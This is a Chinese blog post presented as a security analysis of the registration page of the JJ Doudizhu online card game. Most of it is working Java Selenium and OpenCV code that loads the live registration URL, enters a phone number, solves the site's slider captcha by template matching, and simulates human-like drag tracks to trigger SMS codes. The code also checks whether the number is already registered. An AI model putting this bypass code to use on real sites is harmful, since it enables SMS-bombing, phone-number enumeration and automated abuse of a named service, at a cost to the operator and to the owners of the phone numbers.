【JJ斗地主-注册安全分析报告】 - 实践
前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：
- 暴力破解密码，造成用户信息泄露
- 短信盗刷的安全问题，影响业务及导致用户投诉
- 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析
一、 JJ斗地主PC 注册入口
简介： JJ斗地主 是由 竞技世界（北京）网络技术有限公司 开发的一款热门在线棋牌游戏，主打竞技斗地主玩法，同时包含多种创新模式和赛事体系，深受全国玩家喜爱。
1. 注册引导页
2. 会员注页面
二、 安全性分析报告：
JJ斗地主采用的是自己研发的滑动验证码，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。
三、 测试方法：
前端界面分析，这是JJ斗地主自己研发的滑动验证码，网上没有现成的教学视频，但形式都差不多，没什么难度 ， 这次还是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分 。
1. 模拟器交互部分
private OpenCv2 openCv2 = new OpenCv2(64,
128
)
;
private static String INDEX_URL = "https://www.jj.cn/reg/reg_new.html"
;
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
RetEntity retEntity = new RetEntity(
)
;
try {
driver.get(INDEX_URL)
;
// 输入手机号
WebElement phoneElement = ChromeUtil.waitElement(driver, By.id("phone_number"
),
100
)
;
phoneElement.sendKeys(phone)
;
// 点击获取验证码
boolean isRobot = false
;
WebElement sendElement = driver.findElement(By.xpath("//button[contains(text(), '获取验证码')]"
))
;
if (isRobot) {
int top = 76
;
RobotMove.clickByTop(sendElement, top
)
;
}
else {
ActionMove.humanLikeClick(driver, sendElement)
;
// ((JavascriptExecutor) driver).executeScript("arguments[0].click(
)
;", sendElement)
;
}
// pic 1 get big
WebElement bigElement = ChromeUtil.waitElement(driver, By.className("jjcaptcha-slider-btm")
, 20
)
;
if (bigElement == null) {
System.out.println("bigElement=" + bigElement)
;
return null;
}
byte[] bigBytes = GetImage.getCanvasAsImage(driver, "jjcaptcha-slider-btm")
;
int bigLen = (bigBytes != null) ? bigBytes.length : 0
;
if (bigLen <
100
) {
System.out.println("bigImgUrl->bigLen=" + bigLen)
;
return null;
}
// pic 2 get small
byte[] smallBytes = GetImage.getCanvasAsImage(driver, "jjcaptcha-slider-top")
;
if (smallBytes == null) {
System.out.println("smallBytes=" + smallBytes)
;
return null;
}
String ckSum = GenChecksumUtil.genChecksum(bigBytes)
;
Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, "JjCn", 0
)
;
if (openResult == null || openResult.size(
) <
2
) {
System.out.println("ckSum=" + ckSum + "->openResult=" + openResult)
;
return null;
}
Double r = 1.1125
;
Double minX = openResult.get("minX")
;
BigDecimal disD = new BigDecimal((minX + 6
) * r).setScale(0
, BigDecimal.ROUND_HALF_UP)
;
int distance = disD.intValue(
)
;
System.out.println("distance=" + distance)
;
WebElement moveElement = driver.findElement(By.className("jjcaptcha-slider-block"))
;
ActionMove.move(driver, moveElement, distance)
;
Thread.sleep(1000
)
;
WebElement noticeElement = ChromeUtil.waitElement(driver, By.xpath("//div[@class='box_input']/span[@class='notice_no']"
),
5
)
;
String notice = (noticeElement != null) ? noticeElement.getText(
) : null;
if (notice != null) {
retEntity.setMsg(notice)
;
if (notice.contains("已注册"
)) {
retEntity.setRet(0
)
;
retEntity.setExist(1
)
;
}
return retEntity;
}
WebElement infoElement = ChromeUtil.waitElement(driver, By.xpath("//button[contains(text(),'获取中')]"
),
20
)
;
String info = (infoElement != null) ? infoElement.getText(
) : null;
retEntity.setMsg(info)
;
if (info != null && info.contains("获取中"
)) {
retEntity.setRet(0
)
;
}
return retEntity;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString(
))
;
for (StackTraceElement ele : e.getStackTrace(
)) {
System.out.println(ele.toString(
))
;
}
return null;
} finally {
if (driver != null)
driver.manage(
).deleteAllCookies(
)
;
}
}2. 距离识别
/**
*
* @param ckSum
* @param bigBytes
* @param smallBytes
* @param factory
* @return {
width, maxX
}
*/
public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {
try {
String basePath = ConstTable.codePath + factory + "/"
;
File baseFile = new File(basePath)
;
if (!baseFile.isDirectory(
)) {
baseFile.mkdirs(
)
;
}
// 小图文件
File smallFile = new File(basePath + ckSum + "_s.png"
)
;
FileUtils.writeByteArrayToFile(smallFile, smallBytes)
;
// 大图文件
File bigFile = new File(basePath + ckSum + "_b.png"
)
;
FileUtils.writeByteArrayToFile(bigFile, bigBytes)
;
// 边框清理(去干扰)
byte[] clearBoder = (border >
0
) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;
File tpFile = new File(basePath + ckSum + "_t.png"
)
;
FileUtils.writeByteArrayToFile(tpFile, clearBoder)
;
String resultFile = basePath + ckSum + "_o.png"
;
return getWidth(tpFile.getAbsolutePath(
), bigFile.getAbsolutePath(
), resultFile)
;
} catch (Throwable e) {
logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString(
))
;
for (StackTraceElement elment : e.getStackTrace(
)) {
logger.error(elment.toString(
))
;
}
return null;
}
}
/**
* Open Cv 图片模板匹配
*
* @param tpPath
* 模板图片路径
* @param bgPath
* 目标图片路径
* @return {
width, maxX
}
*/
private String[] getWidth(String tpPath, String bgPath, String resultFile) {
try {
Rect rectCrop = clearWhite(tpPath)
;
Mat g_tem = Imgcodecs.imread(tpPath)
;
Mat clearMat = g_tem.submat(rectCrop)
;
Mat cvt = new Mat(
)
;
Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY)
;
Mat edgesSlide = new Mat(
)
;
Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2)
;
Mat cvtSlide = new Mat(
)
;
Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB)
;
Imgcodecs.imwrite(tpPath, cvtSlide)
;
Mat g_b = Imgcodecs.imread(bgPath)
;
Mat edgesBg = new Mat(
)
;
Imgproc.Canny(g_b, edgesBg, threshold1, threshold2)
;
Mat cvtBg = new Mat(
)
;
Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB)
;
int result_rows = cvtBg.rows(
) - cvtSlide.rows(
) + 1
;
int result_cols = cvtBg.cols(
) - cvtSlide.cols(
) + 1
;
Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1)
;
Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED)
; // 归一化平方差匹配法
// 归一化相关匹配法
MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result)
;
Point maxLoc = minMaxLoc.maxLoc;
Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(
), maxLoc.y + cvtSlide.rows(
)), new Scalar(0,
0,
255
),
1
)
;
Imgcodecs.imwrite(resultFile, cvtBg)
;
String width = String.valueOf(cvtSlide.cols(
))
;
String maxX = String.valueOf(maxLoc.x + cvtSlide.cols(
))
;
System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX)
;
return new String[] {
width, maxX
}
;
} catch (Throwable e) {
System.out.println("getWidth() " + e.toString(
))
;
logger.error("getWidth() " + e.toString(
))
;
for (StackTraceElement elment : e.getStackTrace(
)) {
logger.error(elment.toString(
))
;
}
return null;
}
}
public Rect clearWhite(String smallPath) {
try {
Mat matrix = Imgcodecs.imread(smallPath)
;
int rows = matrix.rows(
)
;// height -> y
int cols = matrix.cols(
)
;// width -> x
System.out.println("OpenCv2.clearWhite() rows=" + rows + ",cols=" + cols)
;
Double rgb;
double[] arr;
int minX = 255
;
int minY = 255
;
int maxX = 0
;
int maxY = 0
;
Color c;
for (int x = 0
; x < cols; x++) {
for (int y = 0
; y < rows; y++) {
arr = matrix.get(y, x)
;
rgb = 0.00
;
for (int i = 0
; i <
3
; i++) {
rgb += arr[i]
;
}
c = new Color(rgb.intValue(
))
;
int b = c.getBlue(
)
;
int r = c.getRed(
)
;
int g = c.getGreen(
)
;
int sum = r + g + b;
if (sum >= 5
) {
if (x <= minX)
minX = x;
else
if (x >= maxX)
maxX = x;
if (y <= minY)
minY = y;
else
if (y >= maxY)
maxY = y;
}
}
}
int boder = 1
;
if (boder >
0
) {
minX = (minX > boder) ? minX - boder : 0
;
maxX = (maxX + boder < cols) ? maxX + boder : cols;
minY = (minY > boder) ? minY - boder : 0
;
maxY = (maxY + boder < rows) ? maxY + boder : rows;
}
int width = (maxX - minX)
;
int height = (maxY - minY)
;
System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height)
;
Rect rectCrop = new Rect(minX, minY, width, height)
;
return rectCrop;
} catch (Throwable e) {
StringBuffer er = new StringBuffer("clearWrite() " + e.toString(
) + "\n"
)
;
for (StackTraceElement elment : e.getStackTrace(
)) {
er.append(elment.toString(
) + "\n"
)
;
}
logger.error(er.toString(
))
;
System.out.println(er.toString(
))
;
return null;
}
}3. 轨道生成及移动算法
/**
* 双轴轨道生成算法，主要实现平滑加速和减速
*
* @param distance
* @return
*/
public static List<Integer[]> getXyTrack(int distance) {
List<Integer[]> track = new ArrayList<Integer[]>
(
)
;// 移动轨迹
try {
int a = (int) (distance / 3.0
) + random.nextInt(10
)
;
int h = 0, current = 0
;// 已经移动的距离
BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10
) / 100.00
)).setScale(4, BigDecimal.ROUND_HALF_UP)
;
BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP)
;// 减速阈值
BigDecimal move = null;// 每次循环移动的距离
List<Integer[]> subList = new ArrayList<Integer[]>
(
)
;// 移动轨迹
boolean plus = true
;
Double t = 0.18,
v = 0.00, v0;
while (current <= distance) {
h = random.nextInt(2
)
;
if (current > distance / 2
) {
h = h * -1;
}
v0 = v
;
v = v0 + a * t;
move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP)
;// 加速
if (move.intValue(
) <
1
)
move = new BigDecimal(1L)
;
if (plus) {
track.add(new Integer[] {
move.intValue(
), h
}
)
;
}
else {
subList.add(0, new Integer[] {
move.intValue(
), h
}
)
;
}
current += move.intValue(
)
;
if (plus && current >= mid.intValue(
)) {
plus = false
;
move = new BigDecimal(0L)
;
v = 0.00
;
}
}
track.addAll(subList)
;
int bk = current - distance;
if (bk >
0
) {
for (int i = 0
; i < bk; i++) {
track.add(new Integer[] {
-1, h
}
)
;
}
}
System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue(
) + " size=" + track.size(
))
;
return track;
} catch (Exception e) {
System.out.print(e.toString(
))
;
return null;
}
}
/**
* 模拟人工移动
*
* @param driver
* @param element页面滑块
* @param distance需要移动距离
* @throws InterruptedException
*/
public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
List<Integer[]> track = getXyTrack(distance)
;
if (track == null || track.size(
) <
1
) {
System.out.println("move() track=" + track)
;
}
int moveY, moveX;
StringBuffer sb = new StringBuffer(
)
;
try {
Actions actions = new Actions(driver)
;
actions.clickAndHold(element).perform(
)
;
Thread.sleep(50
)
;
long begin, cost;
Integer[] move;
int sum = 0
;
for (int i = 0
; i < track.size(
)
; i++) {
begin = System.currentTimeMillis(
)
;
move = track.get(i)
;
moveX = move[0]
;
sum += moveX;
moveY = move[1]
;
if (moveX <
0
) {
if (sb.length(
) >
0
) {
sb.append(","
)
;
}
sb.append(moveX)
;
}
actions.moveByOffset(moveX, moveY).perform(
)
;
cost = System.currentTimeMillis(
) - begin;
if (cost <
5
) {
Thread.sleep(5 - cost)
;
}
}
if (sb.length(
) >
0
) {
System.out.println("-----backspace[" + sb.toString(
) + "]sum=" + sum + ",distance=" + distance)
;
}
Thread.sleep(180
)
;
actions.release(element).perform(
)
;
Thread.sleep(500
)
;
} catch (Exception e) {
StringBuffer er = new StringBuffer("move() " + e.toString(
) + "\n"
)
;
for (StackTraceElement elment : e.getStackTrace(
))
er.append(elment.toString(
) + "\n"
)
;
logger.error(er.toString(
))
;
System.out.println(er.toString(
))
;
}
}4. 图片比对结果测试样例：
四丶结语
J斗地主 是由 竞技世界（北京）网络技术有限公司 开发的一款热门在线棋牌游戏，主打竞技斗地主玩法，同时包含多种创新模式和赛事体系，深受全国玩家喜爱，作为受众巨大的网络游戏厂商，技术实力雄厚， 人才济济，采用的是自己研发的滑动验证产品， 在一定程度上提高了用户体验， 不过随着图形识别技术及机器学习能力的提升，所以在网上破解的文章和教学视频也是大量存在，并且经过验证的确有效， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。
很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。
所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#
谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》
浙公网安备 33010602011771号